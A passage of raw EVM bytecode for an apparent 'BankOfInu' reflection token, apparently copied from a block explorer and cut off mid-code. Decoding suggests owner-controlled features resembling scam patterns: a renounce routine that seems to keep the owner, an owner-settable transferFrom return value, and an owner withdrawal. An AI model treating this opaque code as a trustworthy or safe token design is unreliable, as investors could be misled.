fffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127a49190614835565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612821576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612818906147f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288890614695565b60405180910390fd5b600081116128d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cb906147b5565b60405180910390fd5b6128dd83611c4c565b81111561291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906147d5565b60405180910390fd5b6129cc838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129c65750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612add565b505050565b6000838311158290612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a109190614673565b60405180910390fd5b5082840390509392505050565b6000806000612a336136df565b915091508082612a43919061494b565b9250505090565b6000612a72836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61397d565b905092915050565b612a826140ea565b612a8c8383613a91565b9050612aa1818484612a9c612a26565b613b98565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b8015612ec857602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612cf057612b41611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612baf5750612b7f611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612be85750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612c7b576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c7a5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506018602060008201548160000155600182015481600101556002820154816002015560038201548160030155905050612ec3565b612cf8611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612d665750612d36611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612d9f5750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e43576000612dbb612db2866116d2565b600f5487611edf565b905080612dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df4906146b5565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601c60206000820154816000015560018201548160010155600282015481600201556003820154816003015590505060206002015460206002018190555083601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612ff1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f5c5783601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ff05782601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b6000612ffd8383612a7a565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156130a25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313a5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f291906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613443565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156131dd5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613279578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323191906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613442565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561331b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134415782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336b91906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133fd91906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349291906149d6565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461352491906148f5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081156136335761357f81604001518260e00151613c55565b6135928160600151826101000151613c89565b6135a58160800151826101200151613e34565b6135b88160a00151826101400151613fdf565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161361d91906148f5565b60405161362a9190614835565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c001516040516136949190614835565b60405180910390a36136b084600161402790919063ffffffff16565b5060006136bc86611c4c565b14156136d8576136d6856001612a4a90919063ffffffff16565b505b5050505050565b6000806000600e5490506000600d54905060005b600a80549050811015613947578260036000600a848154811061371957613718614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061380757508160046000600a848154811061379f5761379e614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561381e57600e54600d5494509450505050613979565b60036000600a838154811061383657613835614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138a791906149d6565b925060046000600a83815481106138c1576138c0614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261393291906149d6565b9150808061393f90614ac8565b9150506136f3565b50600d54600e54613958919061494b565b82101561397057600e54600d54935093505050613979565b81819350935050505b9091565b60008083600101600084815260200190815260200160002054905060008114613a855760006001826139af91906149d6565b90506000600186600001805490506139c791906149d6565b9050818114613a365760008660000182815481106139e8576139e7614b9e565b5b9060005260206000200154905080876000018481548110613a0c57613a0b614b9e565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480613a4a57613a49614b6f565b5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613a8b565b60009150505b92915050565b613a996140ea565b81613aad57828160c0018181525050613b92565b606460206000015484613ac0919061497c565b613aca919061494b565b8160e0018181525050606460206001015484613ae6919061497c565b613af0919061494b565b81610100018181525050606460206002015484613b0d919061497c565b613b17919061494b565b81610120018181525050606460206003015484613b34919061497c565b613b3e919061494b565b816101400181815250508061014001518161012001518261010001518360e0015186613b6a91906149d6565b613b7491906149d6565b613b7e91906149d6565b613b8891906149d6565b8160c00181815250505b92915050565b6000806000806000808689613bad919061497c565b955087613bcd578586600080600080955095509550955095509550613c48565b868a60e00151613bdd919061497c565b9350868a6101000151613bf0919061497c565b9250868a6101200151613c03919061497c565b9150868a6101400151613c16919061497c565b90508082848689613c2791906149d6565b613c3191906149d6565b613c3b91906149d6565b613c4591906149d6565b94505b9499939850945094509450565b81600e54613c6391906149d6565b600e819055508060126000016000828254613c7e91906148f5565b925050819055505050565b8060166000016000828254613c9e91906148f5565b925050819055508060126001016000828254613cba91906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d0c91906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e305780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dec91906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060166001016000828254613e4991906148f5565b925050819055508060126002016000828254613e6591906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb791906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613fdb5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f9791906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060126003016000828254613ff491906148f5565b9250508190555080600d5461400991906149d6565b600d8190555081600e5461401d91906149d6565b600e819055505050565b600061404f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614057565b905092915050565b600061406383836140c7565b6140bc5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506140c1565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061415381614f28565b92915050565b60008135905061416881614f3f565b92915050565b60008135905061417d81614f56565b92915050565b60006020828403121561419957614198614bcd565b5b60006141a784828501614144565b91505092915050565b600080604083850312156141c7576141c6614bcd565b5b60006141d585828601614144565b92505060206141e685828601614144565b9150509250929050565b60008060006060848603121561420957614208614bcd565b5b600061421786828701614144565b935050602061422886828701614144565b92505060406142398682870161416e565b9150509250925092565b6000806040838503121561425a57614259614bcd565b5b600061426885828601614144565b92505060206142798582860161416e565b9150509250929050565b60006020828403121561429957614298614bcd565b5b60006142a784828501614159565b91505092915050565b6000602082840312156142c6576142c5614bcd565b5b60006142d48482850161416e565b91505092915050565b600080604083850312156142f4576142f3614bcd565b5b60006143028582860161416e565b925050602061431385828601614159565b9150509250929050565b60008060006060848603121561433657614335614bcd565b5b60006143448682870161416e565b93505060206143558682870161416e565b925050604061436686828701614144565b9150509250925092565b6000806000806080858703121561438a57614389614bcd565b5b60006143988782880161416e565b94505060206143a98782880161416e565b93505060406143ba8782880161416e565b92505060606143cb8782880161416e565b91505092959194509250565b6143e081614a0a565b82525050565b6143ef81614a1c565b82525050565b6143fe81614a5f565b82525050565b600061440f826148d9565b61441981856148e4565b9350614429818560208601614a95565b61443281614bd2565b840191505092915050565b600061444a6023836148e4565b915061445582614be3565b604082019050919050565b600061446d6005836148e4565b915061447882614c32565b602082019050919050565b6000614490602a836148e4565b915061449b82614c5b565b604082019050919050565b60006144b36026836148e4565b91506144be82614caa565b604082019050919050565b60006144d66022836148e4565b91506144e182614cf9565b604082019050919050565b60006144f9601b836148e4565b915061450482614d48565b602082019050919050565b600061451c6017836148e4565b915061452782614d71565b602082019050919050565b600061453f601f836148e4565b915061454a82614d9a565b602082019050919050565b60006145626020836148e4565b915061456d82614dc3565b602082019050919050565b60006145856029836148e4565b915061459082614dec565b604082019050919050565b60006145a86030836148e4565b91506145b382614e3b565b604082019050919050565b60006145cb6025836148e4565b91506145d682614e8a565b604082019050919050565b60006145ee6024836148e4565b91506145f982614ed9565b604082019050919050565b61460d81614a48565b82525050565b61461c81614a52565b82525050565b600060208201905061463760008301846143d7565b92915050565b600060208201905061465260008301846143e6565b92915050565b600060208201905061466d60008301846143f5565b92915050565b6000602082019050818103600083015261468d8184614404565b905092915050565b600060208201905081810360008301526146ae8161443d565b9050919050565b600060208201905081810360008301526146ce81614460565b9050919050565b600060208201905081810360008301526146ee81614483565b9050919050565b6000602082019050818103600083015261470e816144a6565b9050919050565b6000602082019050818103600083015261472e816144c9565b9050919050565b6000602082019050818103600083015261474e816144ec565b9050919050565b6000602082019050818103600083015261476e8161450f565b9050919050565b6000602082019050818103600083015261478e81614532565b9050919050565b600060208201905081810360008301526147ae81614555565b9050919050565b600060208201905081810360008301526147ce81614578565b9050919050565b600060208201905081810360008301526147ee8161459b565b9050919050565b6000602082019050818103600083015261480e816145be565b9050919050565b6000602082019050818103600083015261482e816145e1565b9050919050565b600060208201905061484a6000830184614604565b92915050565b60006040820190506148656000830185614604565b6148726020830184614604565b9392505050565b600060808201905061488e6000830187614604565b61489b6020830186614604565b6148a86040830185614604565b6148b56060830184614604565b95945050505050565b60006020820190506148d36000830184614613565b92915050565b600081519050919050565b600082825260208201905092915050565b600061490082614a48565b915061490b83614a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149405761493f614b11565b5b828201905092915050565b600061495682614a48565b915061496183614a48565b92508261497157614970614b40565b5b828204905092915050565b600061498782614a48565b915061499283614a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156149cb576149ca614b11565b5b828202905092915050565b60006149e182614a48565b91506149ec83614a48565b9250828210156149ff576149fe614b11565b5b828203905092915050565b6000614a1582614a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614a6a82614a71565b9050919050565b6000614a7c82614a83565b9050919050565b6000614a8e82614a28565b9050919050565b60005b83811015614ab3578082015181840152602081019050614a98565b83811115614ac2576000848401525b50505050565b6000614ad382614a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614b0657614b05614b11565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6572726f72000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614f3181614a0a565b8114614f3c57600080fd5b50565b614f4881614a1c565b8114614f5357600080fd5b50565b614f5f81614a48565b8114614f6a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204933cc443f630a645e7f02f6a1ed7a3bf8f2b1493dab1a56dbf860bf53d0e31364736f6c63430008070033

Deployed Bytecode

0x60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600981526020017f42616e6b4f66496e750000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119075